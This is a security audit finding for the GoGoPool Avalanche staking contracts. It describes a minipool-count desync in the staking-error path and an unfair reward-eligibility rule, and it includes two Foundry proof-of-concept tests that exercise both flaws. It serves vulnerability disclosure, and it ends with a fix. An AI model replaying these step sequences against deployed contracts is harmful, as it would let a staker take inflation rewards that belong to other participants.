Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L484-L515 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L528-L533 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L81-L84 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ClaimNodeOp.sol#L46-L52

Vulnerability details

Impact

Minipool.count is the actual number of minipools an staker has at a certain time. However, there are some paths that a minipool can take in state transition that lead to Minipool.count desyncing. When a minipool goes through the state transitions of Prelaunch -> Launched -> Staking -> Error -(optional)-> Finished -> Prelaunch, the number of Minipool.Count does not get subtracted and can reach to two with only one NodeID. This causes the result of staking.RewardsStartTime to do not set to zero in calculateAndDistributeRewards even when the staker has no minipool up and running. Not only this can put the contracts in an unexpected state, where the minipool cout is more than zero while the AVAXAssignment in a reward cycle is zero, but also gives the staker a certain set of unfair advantages:

Allows user to skip the 14 day staking time in a 28 day rewards cycle at any cycle in the future (isEligible is always tru after 5 days)
Allows user to call createMinipool and then instantly cancelMinipool in any time in the future, which causes the node operator to earn a part of next GGP inflation

However, this should be noted that the transition into this state should be triggered unwantedly by the Rialto by calling Error and can be fixed individually by guardian. Also isEligible is supposed to be called off-chain by Rialto and the valid staker then get their parts. Therefore, Rialto can enforce some corrections off-chain.

the actual state transition model is shown below which shows valid state transitions:

One of the main problems would be RewardsStartTime where it only records the starting time of the first minipool created. For example if a minipool is created and cancelled at anytime after that would lead to participation in at least one GGP inflation reward round. The fairer option would be to track the amount of time a some amount of staked assigned liquidity to his account, or at least one nodeID active. Looking at only RewardstartTime can be unfair to other users as it makes the first 2 weeks of a cycle much more valuable than the last two weeks since stakers in the first two weeks get to get the GGP inflation rewards for one more round.

Proof of Concept

This is where the staker desyncs the minipool.count:

    function testRewardpoolStartTimeBug() public {
        address nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);

        skip(dao.getRewardsCycleSeconds());
        rewardsPool.startRewardsCycle();

        skip(1 days);

        vm.startPrank(nodeOp);
        ggAVAX.depositAVAX{value: 2000 ether}();
        ggp.approve(address(staking), MAX_AMT);
        staking.stakeGGP(6000 ether);
        MinipoolManager.Minipool memory mp = createMinipool(1000 ether, 1000 ether, 2 weeks);
        assertEq(staking.getMinipoolCount(nodeOp), 1); // First minipool is created
        rialto.processMinipoolStart(mp.nodeID);
        skip(1 days);
        vm.stopPrank();

        vm.startPrank(mp.multisigAddr);
        console.log(store.getAddress(keccak256(abi.encodePacked("minipool.item", mp.index, ".multisigAddr"))));
        console.log(mp.multisigAddr);
        uint256 avaxNodeOpAmt = store.getUint(keccak256(abi.encodePacked("minipool.item", mp.index, ".avaxNodeOpAmt")));
        uint256 avaxLiquidStakerAmt = store.getUint(keccak256(abi.encodePacked("minipool.item", mp.index, ".avaxLiquidStakerAmt")));
        minipoolMgr.recordStakingError{value: avaxNodeOpAmt + avaxLiquidStakerAmt}(mp.nodeID, "ErrCode"); // User can also call createMinipool here
        minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); // This line is optional since Error -> Prelaunch is valid too
        vm.stopPrank();

        vm.startPrank(nodeOp);
        minipoolMgr.createMinipool{value: 1000 ether}(mp.nodeID, mp.duration, mp.delegationFee, 1000 ether);
        mp =  minipoolMgr.getMinipool(
            minipoolMgr.getIndexOf(mp.nodeID)
            );
        assertEq(staking.getMinipoolCount(nodeOp), 2); // minipool is increased to two but only one minipool with one nodeID is created so far!

        skip(5 days);

        minipoolMgr.cancelMinipool(mp.nodeID);
        assertEq(staking.getMinipoolCount(nodeOp), 1); // There is a free miniPoolCount Up with no nodeID active!

        skip(28 days + 1 hours);

        assertEq(nopClaim.isEligible(nodeOp), true);
        rialto.processGGPRewards(); // distributes rewards and starts next cycle

        assertEq(nopClaim.isEligible(nodeOp), true);

        MinipoolManager.Minipool memory mpTemp = createMinipool(1000 ether, 1000 ether, 2 weeks);
        assertEq(staking.getMinipoolCount(nodeOp), 2);
        minipoolMgr.cancelMinipool(mpTemp.nodeID); // instantCancel for ever!
        assertEq(staking.getMinipoolCount(nodeOp), 1);

        vm.stopPrank();
    }

This is where a staker gets into the GGP reward round by only staking for the first 10 seconds in a 28 day period:

function testIsEligibleUnFair() public {
        address nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);

        skip(dao.getRewardsCycleSeconds());
        rewardsPool.startRewardsCycle();

        skip(10 seconds);

        vm.startPrank(nodeOp);
        ggAVAX.depositAVAX{value: 2000 ether}();
        ggp.approve(address(staking), MAX_AMT);
        staking.stakeGGP(6000 ether);
        MinipoolManager.Minipool memory mp = createMinipool(1000 ether, 1000 ether, 2 weeks);
        assertEq(staking.getMinipoolCount(nodeOp), 1); // First minipool is created

        skip(1 days);
        rialto.processMinipoolStart(mp.nodeID);

        vm.stopPrank();

        skip(27 days); // to the end of the cycle
        assertEq(nopClaim.isEligible(nodeOp), true); // node operator should be eligible for the current cycle

        rialto.processGGPRewards();

        skip(10 seconds);
        rialto.processMinipoolEndWithRewards(mp.nodeID);

        assertEq(nopClaim.isEligible(nodeOp), true); // Even though node operator had a pool for 10 seconds this cycle, is eligible for the reward at the end!
    }

Tools Used

Foundry

Recommended Mitigation Steps

for the desyncing it only needs to add staking.decreaseMinipoolCount(owner); to the recordStakingError function. For the RewardsStartTime it mostly comes down to the designers, they might think this model works good enough or it might be a good idea to track each staker's minipool's uptime individually.

code-423n4 / 2022-12-gogopool-findings